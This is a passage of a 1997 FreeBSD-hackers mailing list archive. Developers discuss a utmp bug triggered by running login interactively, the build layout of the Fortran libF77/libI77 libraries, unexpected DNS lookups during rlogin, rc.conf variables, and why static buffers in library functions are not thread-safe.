<19970915100620.36991@lemis.com> Date: Mon, 15 Sep 1997 10:06:20 +0930 From: Greg Lehey To: Terry Lambert Cc: "Jordan K. Hubbard" , hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. References: <10396.874268145@time.cdrom.com> <199709142217.PAA25420@usr09.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709142217.PAA25420@usr09.primenet.com>; from Terry Lambert on Sun, Sep 14, 1997 at 10:17:16PM +0000 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, Sep 14, 1997 at 10:17:16PM +0000, Terry Lambert wrote: >> Log in somehow (real login, xterm -ls, whatever) and verify your >> user/[pt]ty combo by doing who(1) and tty(1) commands. Now use >> login(1) to log in as some other user and do the who/tty thing again. >> You'll have a new utmp entry for the user you just logged in as. Now >> log out and do another who(1). You'll have had your utmp entry >> smashed and still show up as the user you logged in and out again as. >> >> Not sure how to fix this one - it's "interesting." :) > > Read the login man page. Login is supposed to be exec'ed by > the shells: > > The standard shells, csh(1) and sh(1), do not fork before executing the > login utility. > > So it is supposed to be impossible to do the "Now log out and do another > who(1)." part of repeating the "problem". Thanks. That's the answer. > If you want to become another user and return to yourself afterwards, > use the "su" command. Since it keeps running, it can change things > like the utmp entry, and put it back afterwards (though it doesn't > fiddle utmp, even when you specify "-l"; that's probably a bug, too). Unfortunately, this isn't. Obviously, if you can return, you sh hasn't exec'ed login, it's forked first. Look: $ ps utpc USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND grog 17431 1.3 0.3 500 288 pc Ss 10:02AM 0:00.27 sh grog 17441 0.0 0.3 640 276 pc R+ 10:03AM 0:00.00 ps -utpc $ login yvonne Password: Last login: Mon Sep 15 10:02:36 on ttypc Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 3.0-CURRENT (FREEBIE) #26: Thu Sep 11 04:58:01 CST 1997 $ ps utpc USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND yvonne 17442 5.3 0.9 1032 880 pc S 10:03AM 0:00.29 -bash (bash) grog 17431 0.5 0.3 500 288 pc Ss 10:02AM 0:00.27 sh yvonne 17454 0.0 0.3 640 272 pc R+ 10:03AM 0:00.00 ps -utpc sh and bash both do this; I haven't checked csh. I don't understand why login should ever be called interactively. We have su for that. Greg From owner-freebsd-hackers Sun Sep 14 18:11:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA16731 for hackers-outgoing; Sun, 14 Sep 1997 18:11:15 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA16723 for ; Sun, 14 Sep 1997 18:11:12 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id SAA06810; Sun, 14 Sep 1997 18:11:08 -0700 (PDT) To: Gary Kendall cc: freebsd-hackers@freebsd.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 19:47:41 EDT." <199709142347.TAA17189@ccomp.inode.com> Date: Sun, 14 Sep 1997 18:11:08 -0700 Message-ID: <6806.874285868@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@freebsd.ORG X-Loop: FreeBSD.org Precedence: bulk > The libf77.a library is the "standard library" that Fortran programs are > linked against... similar to libc.a for C. I'm not familiar with libIf77.a, > but suspect it's a variation of the standard for some special feature. At > any rate, they come with the GNU compiler(s), and probably should be built > by the Makefiles. Yeah, but they're not and that means that they haven't been part of the binary distributions, either. So that begs the question: What has this mysterious legion of fortran programmers been doing all this time? :) Jordan From owner-freebsd-hackers Sun Sep 14 18:18:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA17080 for hackers-outgoing; Sun, 14 Sep 1997 18:18:20 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA17071 for ; Sun, 14 Sep 1997 18:18:17 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id SAA06835; Sun, 14 Sep 1997 18:18:14 -0700 (PDT) To: jbryant@tfs.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 18:41:15 CDT." <199709142341.SAA04550@argus.tfs.net> Date: Sun, 14 Sep 1997 18:18:14 -0700 Message-ID: <6830.874286294@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Why they are not in the standard build order, I'm at a loss, but if > you lose these libs, then you lose fortran... Then we must have "lost" fortran some time ago because these libs simply haven't been *available* for any fortran programmer who either didn't load the source distribution or did load the source distribution AND didn't just happen to know to go build in those two directories, after of course building a Makefile by hand for the one lib which needs one and fixing the other lib, which currently doesn't even compile. I don't know about you, but assuming that any reasonable percentage of FreeBSD fortran programmers has made it past that chain of hurdles rather strains credulity, and I don't think we're any closer to the answer as to just *what* these directories are doing there! They don't build and they're not called by anything I can find, so rather than just tossing off a knee-jerk response in reaction a set of file names you recognise, why not tell me exactly *how* these files are being used by FreeBSD if you want to be of some actual help here, OK? :-) Jordan From owner-freebsd-hackers Sun Sep 14 18:20:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA17286 for hackers-outgoing; Sun, 14 Sep 1997 18:20:30 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA17281 for ; Sun, 14 Sep 1997 18:20:27 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id SAA06885; Sun, 14 Sep 1997 18:20:24 -0700 (PDT) To: jbryant@tfs.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 18:48:00 CDT." <199709142348.SAA04570@argus.tfs.net> Date: Sun, 14 Sep 1997 18:20:24 -0700 Message-ID: <6881.874286424@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As an example of the importance of these libs, this is the first line > of /usr/src/lib/libF77/main.c: > > /* STARTUP PROCEDURE FOR UNIX FORTRAN PROGRAMS */ Good, now that you've proved their "general importance" (which I knew long before I even posted this message), why don't you go on to prove their specific importance to the FreeBSD source tree? ;-) Jordan From owner-freebsd-hackers Sun Sep 14 18:26:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA17537 for hackers-outgoing; Sun, 14 Sep 1997 18:26:20 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA17532 for ; Sun, 14 Sep 1997 18:26:16 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id SAA06939; Sun, 14 Sep 1997 18:26:15 -0700 (PDT) To: jbryant@tfs.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: lib/libF77 and lib/libI77 In-reply-to: Your message of "Sun, 14 Sep 1997 19:31:53 CDT." <199709150031.TAA17848@argus.tfs.net> Date: Sun, 14 Sep 1997 18:26:14 -0700 Message-ID: <6935.874286774@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > In reply: > > 1. They don't have Makefiles or, in libI77's case, have a > > Makefile but don't build. > > Try /usr/src/lib/libf2c/Makefile. OK, bingo, you found it. Thank you, that's *all* I was trying to find out and I must have missed the reference somehow in my global grep pass. Now that I know these files are actually used, I can merge the changes from -current. If these libraries have been updated recently, that might also be a good time to move them into /usr/src/contrib/lib/... - part of what threw me is that it's rare to see skeleton makefiles which pull their entire set of sources in from another part of /usr/src/!contrib since we typically only do that for 3rd party products we're trying to hold at arm's length, so to speak. I see no reason, for example, why libI77 and libF77 even have to live directly under /usr/src/lib since they would be far more logically placed in /usr/src/contrib/lib or /usr/src/lib/libf2c (which, except for the Makefile, is completely empty). Unless there's some overriding reason for this, I'd have to say that the libf77 sources are currently very poorly organized in FreeBSD's source tree. Jordan From owner-freebsd-hackers Sun Sep 14 18:42:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA18136 for hackers-outgoing; Sun, 14 Sep 1997 18:42:44 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA18122 for ; Sun, 14 Sep 1997 18:42:36 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id CAA26286; Mon, 15 Sep 1997 02:41:19 +0100 (BST) Message-Id: <199709150141.CAA26286@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Terry Lambert cc: joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG Subject: Re: nfs startup - perhaps it is a problem In-reply-to: Your message of "Sun, 14 Sep 1997 21:48:55 -0000." <199709142148.OAA22603@usr09.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 02:41:19 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > Who told you this? rlogind does a plain gethostbyaddr(), ... > > > > > iijppp told me this when I tried to rlogin to myself (actually, rsh) > > > to start an xterm under fvwm, and the rlogind did a getpeername(), > > > then did a gethostbyaddr() that, for no good reason, sent out DNS > > > packets, even though "hosts" appeared before "bin" in /etc/host.conf. > > > > > > So you could say that it's Empirically true, regardless of theory > > > and regardless of what it's supposedly doing. > > > > This would mean the resolver were broken. Did you tcpdump it? > > I put the iijpp tcp/ip logging flag on, and watched the port 53 > requests go across for an rlogin into myself. Given that it was > a completely local connection that should have been handled over the > loopback interface (I did use my host name, and not "localhost", > however), it issuing reverse lookup requests for my machine instead > of getting the data out of /etc/hosts is an error. > > This is compounded by the fact that I am using a non-routable > network, so there's no way in hell a non-local resolver would > be able to help me anyway. 8-(. Does it help if you put entries with trailing dots in /etc/hosts ? 10.0.0.1 my.machine my 10.0.0.1 my.machine. my. > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 18:43:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA18224 for hackers-outgoing; Sun, 14 Sep 1997 18:43:46 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA18218 for ; Sun, 14 Sep 1997 18:43:39 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id AAA25735; Mon, 15 Sep 1997 00:42:22 +0100 (BST) Message-Id: <199709142342.AAA25735@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Daniel O'Callaghan" cc: Brian Somers , Greg Lehey , freebsd-hackers@FreeBSD.ORG Subject: Re: rc & rc.conf In-reply-to: Your message of "Mon, 15 Sep 1997 08:42:07 +1000." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 00:42:22 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > > This is a disaster waiting to happen: > > > > > > > > /etc/rc.conf: > > > > [.....] > > > > inetd_enable="YES" # Run the network daemon displatcher (or NO). > > > > [.....] > > > > cron_enable="YES" # Run the periodic job daemon. > > > > [.....] > > Maybe "inetd_enable" should become "inetd_disable" and only "NO" will > disable inetd. I don't think this is good. Currently, they're all _enable variables that are tested as "== YES" or "!= NO" depending on what the default should be for a user that hasn't even set the variables. Adding another negative into the equation would just succeed in confusing me anyway. > Danny -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 18:51:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA18655 for hackers-outgoing; Sun, 14 Sep 1997 18:51:03 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA18648 for ; Sun, 14 Sep 1997 18:50:57 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id SAA09469; Sun, 14 Sep 1997 18:50:49 -0700 (MST) From: Terry Lambert Message-Id: <199709150150.SAA09469@usr09.primenet.com> Subject: Re: nfs startup - perhaps it is a problem To: sef@Kithrup.COM (Sean Eric Fagan) Date: Mon, 15 Sep 1997 01:50:48 +0000 (GMT) Cc: tlambert@primenet.com, hackers@FreeBSD.ORG In-Reply-To: <199709142348.QAA24294@kithrup.com> from "Sean Eric Fagan" at Sep 14, 97 04:48:39 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Since you have not provided any useful information -- such as what exact > command you were doing, where the packets were going to, what port they > were, what your hosts file is, what else was running on the system, which > version of the OS you were running, etc. -- I'm not sure what you expect us > to do. I posted my /etc/hosts, my host.conf, and my resolve.conf file. The command was, logged in as myself and not root: rlogin phaeton The packets were going to the first host in my rc.conf, to port 53; they were UDP packets doing a reverse lookup for phaeton... a reverse lookup that should have been satisfied by the "phaeton" entry in my /etc/hosts file. Nothing else was running on the system. not routed, no named, no NIS, no NFS. Nothing. My OS version is 3.0-current as of a week ago. My OS version is actually the only information I didn't provide before, mostly because I thought everyone knew from past postings that I run -current. > But since I don't have the problem, there's nothing I can do. There's > nothing *anyone* can do, I suspect, without being on your system -- but we > can try to make educated guesses, IF WE HAVE ENOUGH INFORMATION. The output > of tcpdump is one of the bits of information that would be useful. I will rebuild a kernel that can do tcpdump and get back to you; the rest of the information is in the list archives, and several other people have voiced a similar complaint. This was originally a comment by me, not a question, or I would have posted on questions, like ettiquite requires. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:01:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA19231 for hackers-outgoing; Sun, 14 Sep 1997 19:01:41 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA19218 for ; Sun, 14 Sep 1997 19:01:27 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id DAA28083; Mon, 15 Sep 1997 03:00:32 +0100 (BST) Message-Id: <199709150200.DAA28083@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Terry Lambert , "Jordan K. Hubbard" , hackers@FreeBSD.ORG Subject: Re: Here's an interesting bug in our utmp handling. In-reply-to: Your message of "Mon, 15 Sep 1997 10:06:20 +0930." <19970915100620.36991@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 15 Sep 1997 03:00:31 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't understand why login should ever be called interactively. We > have su for that. Perhaps 0500 permissions are in order. > Greg -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Sep 14 19:07:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA19534 for hackers-outgoing; Sun, 14 Sep 1997 19:07:28 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA19527 for ; Sun, 14 Sep 1997 19:07:23 -0700 (PDT) Received: from argus.tfs.net (as1-p25.tfs.net [139.146.205.25]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id UAA00472; Sun, 14 Sep 1997 20:05:59 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id VAA18852; Sun, 14 Sep 1997 21:07:18 -0500 (CDT) From: Jim Bryant Message-Id: <199709150207.VAA18852@argus.tfs.net> Subject: Re: lib/libF77 and lib/libI77 In-Reply-To: <6935.874286774@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 14, 97 06:26:14 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Sun, 14 Sep 1997 21:07:17 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > In reply: > > > 1. They don't have Makefiles or, in libI77's case, have a > > > Makefile but don't build. > > > > Try /usr/src/lib/libf2c/Makefile. [...] > they would be far more logically placed in /usr/src/contrib/lib or > /usr/src/lib/libf2c (which, except for the Makefile, is completely > empty). Unless there's some overriding reason for this, I'd have to > say that the libf77 sources are currently very poorly organized in > FreeBSD's source tree. yes, after going through it myself i find it it sort of unintuitive as far as the layout goes... i was thinking the same thing myself about putting both libs under /usr/src/lib/libf2c... as far as us "legions" [sic] of fortran programmers, we haven't had any problems because it does build properly via make in either the /usr/src/lib or /usr/src/lib/libf2c dirs... we "legions" also recognize the lack of STANDARDIZED math facilities in C/C++ for dealing with complex numbers, etc... and would like to see fortran of course retained. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Sun Sep 14 19:12:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA19856 for hackers-outgoing; Sun, 14 Sep 1997 19:12:29 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA19848 for ; Sun, 14 Sep 1997 19:12:24 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA20812; Mon, 15 Sep 1997 11:42:14 +0930 (CST) Message-ID: <19970915114213.54969@lemis.com> Date: Mon, 15 Sep 1997 11:42:13 +0930 From: Greg Lehey To: Brian Somers Cc: Terry Lambert , joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG Subject: Why not DNS (was: nfs startup - perhaps it is a problem) References: <199709142148.OAA22603@usr09.primenet.com> <199709150141.CAA26286@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709150141.CAA26286@awfulhak.demon.co.uk>; from Brian Somers on Mon, Sep 15, 1997 at 02:41:19AM +0100 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Sep 15, 1997 at 02:41:19AM +0100, Brian Somers wrote: >>>>> Who told you this? rlogind does a plain gethostbyaddr(), ... >>> >>>> iijppp told me this when I tried to rlogin to myself (actually, rsh) >>>> to start an xterm under fvwm, and the rlogind did a getpeername(), >>>> then did a gethostbyaddr() that, for no good reason, sent out DNS >>>> packets, even though "hosts" appeared before "bin" in /etc/host.conf. >>>> >>>> So you could say that it's Empirically true, regardless of theory >>>> and regardless of what it's supposedly doing. >>> >>> This would mean the resolver were broken. Did you tcpdump it? >> >> I put the iijpp tcp/ip logging flag on, and watched the port 53 >> requests go across for an rlogin into myself. Given that it was >> a completely local connection that should have been handled over the >> loopback interface (I did use my host name, and not "localhost", >> however), it issuing reverse lookup requests for my machine instead >> of getting the data out of /etc/hosts is an error. >> >> This is compounded by the fact that I am using a non-routable >> network, so there's no way in hell a non-local resolver would >> be able to help me anyway. 8-(. > > Does it help if you put entries with trailing dots in /etc/hosts ? > > 10.0.0.1 my.machine my > 10.0.0.1 my.machine. my. No. /etc/hosts doesn't understand trailing dots. I haven't been following this thread too closely, but I still claim that /etc/hosts is just plain obsolete. If anybody can give me any reasons for using /etc/hosts, I'm sure I can refute them. Fire away! Greg From owner-freebsd-hackers Sun Sep 14 19:23:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA20191 for hackers-outgoing; Sun, 14 Sep 1997 19:23:18 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA20186 for ; Sun, 14 Sep 1997 19:23:15 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA11074; Sun, 14 Sep 1997 19:22:55 -0700 (MST) From: Terry Lambert Message-Id: <199709150222.TAA11074@usr09.primenet.com> Subject: Re: Memory leak in getservbyXXX? To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Mon, 15 Sep 1997 02:22:55 +0000 (GMT) Cc: tlambert@primenet.com, julian@whistle.com, mike@smith.net.au, gram@cdsec.com, hackers@FreeBSD.ORG In-Reply-To: <199709150033.CAA01290@ocean.campus.luth.se> from "Mikael Karpberg" at Sep 15, 97 02:33:48 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > That seems... DUMB! Returning something that the user must free instead of > static buffers, when that's the normal behaviour is just very very bad. Say I have one of these little jewels of a function: char * static_copy( char *src) { static copy[ 128]; strcpy( copy, src); return copy; } Now say I have two threads: thread1() { char *pcopy; ... something that takes a medium time ... pcopy = static_copy( "thread 1 data"); ... something that takes a long time ... ... dosomething with pcopy ... } thread2() { char *pcopy; ... something that takes a short time ... pcopy = static_copy( "thread 2 data"); ... something that takes a medium time ... ... dosomething with pcopy ... } And I run thread 1 at the same time as thread 2. What does the buffer from the function contain when thread 1 goes to use it? What does it contain when thread 2 goes to used it? Someone gets screwed, don't they? > Three words: Thread local storage. One function name: CreateFreeeThreadedMarshallerSoICanGetAtMyOwnDamnAddressSpace() for instanced classes and objects. The *really* correct way to fix this is: somefunction( arguments, user_buffer_for_result); This ensures the data is thread local, without totally screwing up the ability to pass data by pointer among threads. And unlike traditional thread local starage, I don't have to rewrite my PTE's every time I allocate some storage, and I don't have to either go into kernel mode or run with three protection domains instead of two in order to have seperate per thread allocation spaces. And my thread-thread context switch within a single process isn't nearly as high overhead. > Let each tread have its OWN static buffer. This is actually nicer in some > ways then having the programmer pass buffers to pointers, etc, in *_r > versions of calls. It's nicer because it's less work for the user of the > library. And returning something the user must free is just out of the > question. That's ugly beyond belief. Everyone deals with their own memory. > Libraries too. Static buffers in library functions are what is ugly beyond belief. > All that is needed is [ ... ] Congradulations; you've reinvented intra-process inter-thread data marshalling... welcome to the Microsoft "Viper" framework and the ActiveX Template Library version 1.2. > Then just allocate that struct with malloc, and make a pointer > in TLS point to it. [ ... ] But why stop at Microsoft's Common Object Model (the UNIX version is called CORBA, by the way, and is generally preferred by UNIX people, as it's an open standard -- ie: documented somewhere), when you can go full steam ahead and invent Macintosh memory handles as well? AUGH! > /Mikael -- donning asbesto suit Lucky you were wearing the suit... 8-). Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:29:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA20500 for hackers-outgoing; Sun, 14 Sep 1997 19:29:34 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA20495 for ; Sun, 14 Sep 1997 19:29:32 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA11441; Sun, 14 Sep 1997 19:29:27 -0700 (MST) From: Terry Lambert Message-Id: <199709150229.TAA11441@usr09.primenet.com> Subject: Re: lib/libF77 and lib/libI77 To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 15 Sep 1997 02:29:25 +0000 (GMT) Cc: jbryant@tfs.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <6830.874286294@time.cdrom.com> from "Jordan K. Hubbard" at Sep 14, 97 06:18:14 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't know about you, but assuming that any reasonable percentage of > FreeBSD fortran programmers has made it past that chain of hurdles > rather strains credulity, and I don't think we're any closer to the > answer as to just *what* these directories are doing there! They > don't build and they're not called by anything I can find, so rather > than just tossing off a knee-jerk response in reaction a set of file > names you recognise, why not tell me exactly *how* these files are > being used by FreeBSD if you want to be of some actual help here, OK? :-) Personally, I still do physics simulation code in FORTAN. It's the best language for it, and the Lawrence Berkeley Labs Physics libraries are all in FORTRAN. The one thing that I do different is I maintain my own versions of the FORTRAN (libF77) and Intrinsic functions (libI77) libraries because they don't have linear congruential random number generation and a number of Floating Point issues. But I think the FORTRAN libraries, and the f2c translator should be part of the base system. Real UNIX systems come with a C compiler, a FORTRAN compiler, and a Franz LISP interpreter. That's how you know they are the real McCoy. (Yes, I know Solaris and SCO don't come with these -- what does that say to you?) Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sun Sep 14 19:44:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21270 for hackers-outgoing; Sun, 14 Sep 1997 19:44:29 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21263 for ; Sun, 14 Sep 1997 19:44:25 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.8.5/8.6.6) id TAA06342; Sun, 14 Sep 1997 19:44:23 -0700 (PDT) Date: Sun, 14 Sep 1997 19:44:23 -0700 (PDT) From: Sean Eric Fagan Message-Id: <199709150244.TAA06342@kithrup.com> To: hackers@freebsd.org Subject: Re: Here's an interesting bug in our utmp handling. References: <199709142217.PAA25420@usr09.primenet.com>; from Terry Lambert on Sun, Sep 14, 1997 at 10:17:16PM +0000 Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <19970915100620.36991.kithrup.freebsd.hackers@lemis.com> you write: >I don't understand why login should ever be called interactively. We >have su for that. That's funny, I thought Jordan demonstrated a wonderful reason why it may be desirable to run it interactively. From owner-freebsd-hackers Sun Sep 14 19:45:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA21330 for hackers-outgoing; Sun, 14 Sep 1997 19:45:23 -0700 (PDT) Received: from usr09.primenet.com (tlambert@usr09.primenet.com [206.165.6.209]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA21318 for ; Sun, 14 Sep 1997 19:45:19 -0700 (PDT) Received: (from tlambert@localhost) by usr09.primenet.com (8.8.5/8.8.5) id TAA12665; Sun, 14 Sep 1997 19:45:09 -0700 (MST) From: Terry Lambert Message-Id: <199709150245.TAA12665@usr09.primenet.com> Subject: Re: nfs startup - perhaps it is a problem To: brian@awfulhak.org (Brian Somers) Date: Mon, 15 Sep 1997 02:45:08 +0000 (GMT) Cc: tlambert@primenet.com, joerg_wunsch@uriah.heep.sax.de, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199709150141.CAA26286@awfulhak.demon.co.uk> from "Brian Somers" at Sep 15, 97 02:41:19 am X-Mailer: ELM 